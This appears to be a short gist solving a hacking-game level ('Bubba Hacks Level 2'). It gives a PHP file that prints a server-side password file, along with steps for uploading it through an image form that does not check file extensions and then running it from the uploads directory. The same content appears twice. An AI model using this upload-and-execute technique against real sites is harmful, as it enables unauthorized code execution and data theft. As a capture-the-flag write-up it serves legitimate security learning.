bubba-h57/fetch.php

## fetch.php
<html>
<head>
<title>Bubba Hacks Level 2 Server</title>
</head>
<body>
<h1>Your Level 3 Password</h1>
<?php echo file_get_contents('../password.txt'); ?>
</body>
</html>

## gistfile1.txt
Looking at this, we have an 'uploads' directory that that we can access, and a form that we can use to upload images. They have no security in place to check for file-specific file extensions at all. Let's try uploading a file, but not an image--a php script.

Then just browse to the /uploads/ dir and click on your uploaded php file.
	<html>
	<head>
	<title>Bubba Hacks Level 2 Server</title>
	</head>
	<body>
	<h1>Your Level 3 Password</h1>
	<?php echo file_get_contents('../password.txt'); ?>
	</body>
	</html>
	Looking at this, we have an 'uploads' directory that that we can access, and a form that we can use to upload images. They have no security in place to check for file-specific file extensions at all. Let's try uploading a file, but not an image--a php script.

	Then just browse to the /uploads/ dir and click on your uploaded php file.